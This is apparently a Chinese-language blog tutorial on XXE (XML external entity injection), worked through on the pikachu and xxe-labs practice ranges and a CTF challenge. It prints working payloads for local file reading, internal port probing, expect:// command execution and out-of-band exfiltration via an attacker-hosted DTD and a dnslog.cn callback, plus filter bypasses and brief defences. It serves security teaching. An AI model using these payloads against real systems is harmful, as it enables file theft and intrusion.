XXE漏洞詳解

2023-06-24 06:00:25

XML外部實體注入——XXE漏洞詳解

簡單來說一下這個XXE漏洞,在這之前我也閱讀了很多關於XXE漏洞的文章,發現有一小部分文章題目是 「XXE外部實體注入」 這樣的字眼,我想這樣的文章很大可能都沒有弄明白XXE和XML的關係吧,也或者是不小心打錯了。看到這裡你如果沒有反應過來 「XXE外部實體注入」,這樣說有什麼不妥,建議好好閱讀一下這篇文章。

1、什麼是XXE漏洞

首先要了解什麼是XXE漏洞,首先應該瞭解一下什麼是XML
XML(可延伸標示語言,英文全稱:eXtensible Markup Language)是一種用於描述資料結構和交換資料的標示語言。XML是一種非常靈活的語言,可以用於描述各種型別的資料,如檔案、影象、音訊、視訊等。
這個解釋太官方,我們可以將xml語言和html對比著再來解釋一下

1>xml語言是指可延伸標示語言,是一種標示語言,類似於html,html是超檔案標示語言
2>xml的設計宗旨是傳輸資料,html的設計宗旨是顯示資料
3>xml標籤沒有被預定義的,需要自行定義標籤,比如shuxue98,html語言的標籤都是被定義好的,比如: 這個標籤就是加粗
4>xml被設計為具有自我描述性
5>xml是w3c的推薦標準
特點:

1>xml僅僅是純文字,他不會做任何事情
2>xml可以自己發明標籤(允許定義自己的標籤和檔案結構)
3>專門用來存放傳輸資料的東西

xml語言的格式
 <?xml version="1.0" encoding="UTF-8"?>   //xml的宣告  
 <!DOCTYPE foo [ 
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "file://d:/1.txt" >
 ]>                                      //DTD部分
<x>&xxe;</x>                          //xml部分

首先第一句是宣告,宣告這是一段xml程式碼,接下來是一個DTD的部分,意思是讀取D槽上的1.txt檔案。比如我們經常要用到某一組資料,那麼每次都參照,肯定是非常不方便的,所以把這組經常用的資料設定成為一個變數,需要的時候直接呼叫這個變數,通過以上的解釋,我們不難看出,xml如果產生漏洞,那肯定就是在這個DTD部分,最後則是xml部分。

接下來我們來介紹什麼是xxe漏洞?

XXE漏洞全稱XML External(外部的) Entity(實體) Injection(注入),即xml外部實體注入漏洞,XXE漏洞發生在應用程式解析XML輸入時,沒有禁止外部實體的載入,導致可載入惡意外部檔案,造成檔案讀取、命令執行、內網埠掃描、攻擊內網網站等危害。
簡而言之就是 外部實體,也就是我們DTD部分中的變數在載入(參照)外部的內容,從而發起了網路請求(本地請求)
漏洞原理:把使用者輸入的資料當成xml外部實體程式碼進行執行,利用xml的外部實體去存取內網,存取本機,存取本機的檔案。

pikachu靶場案例演示


如圖所示,我們先來讀取一下D槽上的1.txt檔案

讀取程式碼如下
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://1.txt">
]>
<x>&xxe;</x>

複製程式碼,輸入

我們可以看到他將D槽的1.txt檔案讀取出來了,那麼是否可以進行跨盤讀取呢?我們在C槽新建一個資料夾xml,裡面放入我們的1.txt檔案,讀取一下

程式碼如下
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///c://xml/1.txt">
]>
<x>&xxe;</x>


我們可以看出,照樣是可以讀取出來的,如果是讀取其C槽的敏感檔案呢,如本地hosts檔案等等。
由此我們可以想到,如果將file換成http協定,那麼是否可以實現他的一個內網探針,存取其內網資料呢

存取程式碼如下:
<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/index.php" >
]>
<x>&xxe;</x>


如圖所示,是可以存取到index.php中的內容的,有人可能在想,那如果index.php檔案中的程式碼是phpinfo(),他是否會執行解析呢?

答案是不會解析,那麼我如果去探測他的埠開放情況呢?比如,我看一下8081埠是否開放

存取程式碼如下:
<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:8081/index.php" >
]>
<x>&xxe;</x>


如圖所示,代表了8081埠沒有開放,這樣也是可以探測埠開放情況。
我們也可以結合rce進行實體注入,但是這樣有限制條件,該情況是在安裝expect擴充套件的PHP環境裡執行系統命令

程式碼如下:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>

如果網站過濾了file協定或者你想實現自定義的攻擊,那麼就需要引入外部實體進行攻擊了

程式碼如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:80/evil2.dtd">
%file;
]>
<x>&send;</x>

這段程式碼是在被攻擊者的搜尋方塊上面輸入,而呼叫的地址則是攻擊者的伺服器上的evil2.dtd檔案,攻擊者的evil2.dtd檔案則寫上如下程式碼

程式碼:
<!ENTITY send SYSTEM "file://d:/1.txt">

當存取攻擊者的dtd檔案時,攻擊者的檔案指向了D槽的1.txt檔案,使其讀取

當然這種方法是有限制條件,也就是沒有禁用外部實體,是不是有點像檔案包含的遠端包含。

當我們進行實戰的時候,一般都是不會有回顯,因為他呼叫就直接呼叫使用了,沒有必要進行回顯,當遇上沒有回顯的情況,我們應該怎麼辦?還是用pikachu靶場進行演示,把回顯程式碼進行刪除

這樣的話,我們可以用剛才讀檔案的程式碼進行讀取,看一下

無論輸入什麼,都是這個樣子,也不知道是否執行,遇到這種情況,我們也是可以進行讀取的

程式碼如下
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:80/evil2.dtd">
%dtd;
%send;
]>
evil2.dtd中的內容如下:
<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:80/?data=%file;'>"
> 
%payload;

解釋一下以上程式碼,因為是沒有了回顯,那麼先將讀到的內容賦值給file,然後去請求我們(攻擊者)伺服器上的evil2.dtd檔案,正好evil2.dtd中的內容是讀取file,這樣的話是不是也能實現讀取1.txt檔案中的內容,只不過是饒了一個彎。

然後對紅框中的內容進行base64解碼

如此也是可以實現對無回顯內容顯示。如果你學的紮實的話會想到sql注入時無回顯報錯時我們講的dns注入,可以藉助dns的網站來判斷是否存在xxe漏洞

程式碼如下
<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://04t1rn.dnslog.cn/?data=%file;'>"
> 
%payload;

如圖所示,有回顯

當然,這個方法只是可以起到一個判斷是否存在xxe漏洞的作用。

2、繞過

1>ENTITY、SYSTEM、file等關鍵詞被過濾,可以採用編碼的方式進行繞過,16進位制等等
2>若http被過濾,可以採用data://協定、file://協定、php://filter協定等等繞過

3、檢測

我們應該如何去判斷網站是否存在xxe漏洞,用xxe-labs中的php作為案例來講解一下,我們開啟xxe-labs

隨便輸入賬號密碼進行抓包

其實這樣的話是可以看出其符合xml語言的格式,然後將下面的程式碼替換為讀取檔案的程式碼

程式碼如下:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY admin SYSTEM  "file:///d:/1.txt">
]>
<user><username>&admin;</username><password>123</password></user>


如上圖所示,一下子就檢測出了是xxe漏洞,如果抓取的封包沒有這麼明顯的程式碼,我們應該如何檢測呢?我們可以利用burpsuit的自帶爬蟲,對他進行檢測。1、抓包 2、點選target 3、找到對應封包,右擊 4、選擇scan

然後選擇爬蟲,點選OK

因為我們的封包不太多,如果封包很多,我們是可以進行篩選的

篩選完了以後,我們看一下MIMEtype,找到xml,可以看一下封包:Content-Type: application/xml;charset=utf-8,可以嘗試修改,同上

這樣是可以達到一個檢測的功能。不一定xml格式就一定有xxe漏洞,但是可以測試。
接下來看一下另一種檢測方式,我們用CTF的一道試題進行分析,網址:http://web.jarvisoj.com:9882

我們提交一下,進行抓包

我們可以看到Content—Type的型別是application/json,那我們將他的型別修改為application/xml,末尾的型別也修改為xml的型別,因為他是linux(資訊收集),所以我們可以讀取他的etc/passwd

這樣的話,也是一種檢測xxe漏洞的方法。

4、防禦

1>禁用外部實體參照
2>過濾xml中的一些關鍵詞,如:DOCTYPE、ENTITY等等
3>安裝一些waf工具
關於xxe漏洞就介紹這麼多,歡迎大家關注公眾號:星光安全